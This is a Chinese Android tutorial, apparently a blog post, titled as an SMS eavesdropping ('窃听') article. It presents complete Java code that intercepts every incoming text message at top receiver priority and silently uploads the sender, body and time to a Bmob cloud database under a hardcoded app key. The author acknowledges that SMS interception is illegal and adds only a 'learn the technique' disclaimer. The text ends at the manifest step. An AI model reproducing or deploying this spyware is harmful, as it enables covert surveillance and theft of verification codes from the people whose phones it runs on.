集册 Android 百战经典 百战经典第十五-窃听风云之短信监听

百战经典第十五-窃听风云之短信监听

欢马劈雪     最近更新时间:2020-08-04 05:37:59

174

最近在做监听验证码短信自动填入的功能,无意间想到了一个短信监听的办法。免责声明:短信监听本身是一种违法行为,这里只是技术描述,请大家学习技术即可。

本实例是基于bmob提供的后台服务,将监听到的短信自动上传到bmob数据库中。

一、代码实现:

为了便于操作,首先对要监听的对象进行封装:

package com.example.messagecut;   
import cn.bmob.v3.BmobObject;  
public class MsgContent extends BmobObject  {  
    private String form;  
    private String content;  
    private String time;  
    public String getForm() {  
        return form;  
    }  
    public void setForm(String form) {  
        this.form = form;  
    }  
    public String getContent() {  
        return content;  
    }  
    public void setContent(String content) {  
        this.content = content;  
    }  
    public String getTime() {  
        return time;  
    }  
    public void setTime(String time) {  
        this.time = time;  
    }  
}  

BroadcastReceiver:

package com.example.messagecut;  
//省略import  
/** 
 * 配置广播接收者: <receiver android:name=".SMSBroadcastReceiver"> <intent-filter 
 * android:priority="1000"> <action android:name= 
 * "android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>  
 * 注意: <intent-filter android:priority="1000">表示: 设置此广播接收者的级别为最高 
 */    
public class SMSBroadcastReceiver extends BroadcastReceiver {  
    private static MessageListener mMessageListener;  
    public SMSBroadcastReceiver() {  
        super();  
    }  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        Object[] pdus = (Object[]) intent.getExtras().get("pdus");  
        for (Object pdu : pdus) {  
            SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);  
            String sender = smsMessage.getDisplayOriginatingAddress();  
            String content = smsMessage.getMessageBody();  
            long date = smsMessage.getTimestampMillis();  
            Date timeDate = new Date(date);  
            SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
            String time = simpleDateFormat.format(timeDate);  
            System.out.println("短信来自:" + sender);  
            System.out.println("短信内容:" + content);  
            System.out.println("短信时间:" + time);  
            mMessageListener.OnReceived(sender + "," + content + "," + time);  
        }  
    }  

    // 回调接口  
    public interface MessageListener {  
        public void OnReceived(String message);  
    }  
    public void setOnReceivedMessageListener(MessageListener messageListener) {  
        this.mMessageListener = messageListener;  
    }  
}  

通过SmsMessage 类的createFromPdu方法获取SmsMessage对象,调用其getDisplayOriginatingAddress方法获取发信人信息,调用其getMessageBody获得短信内容信息,调用其 getTimestampMillis获得发送时间信息,将这三个信息通过逗号隔开拼接成一个字符串,用回调的方法将这个字符串传递到Activity中。 MainActivity.java:

package com.example.messagecut;  
//省略import
/** 
 * Demo描述: 利用BroadcastReceiver实现监听短信 
 * 注意权限: <uses-permission android:name="android.permission.RECEIVE_SMS"/> 
 */  
public class MainActivity extends Activity {  
    private SMSBroadcastReceiver mSMSBroadcastReceiver;  
    private String message;  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
  setContentView(R.layout.activity_main);  
        Bmob.initialize(this, "8f3ffb2658d8a3366a70a0b0ca0b71b2");      
        mSMSBroadcastReceiver = new SMSBroadcastReceiver();          mSMSBroadcastReceiver.setOnReceivedMessageListener(new MessageListener() {  
            public void OnReceived(String message) {      
                String[] msg=message.split(",");  
                MsgContent msgContent=new MsgContent();                                       msgContent.setForm(msg[0]);                
                 msgContent.setContent(msg[1]);                 msgContent.setTime(msg[2]);     
                      msgContent.save(MainActivity.this, new SaveListener() {   
                    @Override  
                    public void onSuccess() {//上传成功       
                    }   
                    @Override  
                    public void onFailure(int arg0, String arg1) {       
                    }  
                });       
            }  
        });  
    }  
}  

接口回调的方法获取字符串的内容,调用split方法将字符串的内容截取成字符串数组,然后依次获取发送人,发送内容和发送时间的内容,将这些内容结合Bmob的API上传到Bmob后台,实现短信监听的目的。 最后,配置AndroidManifest.xml文件:

展开阅读全文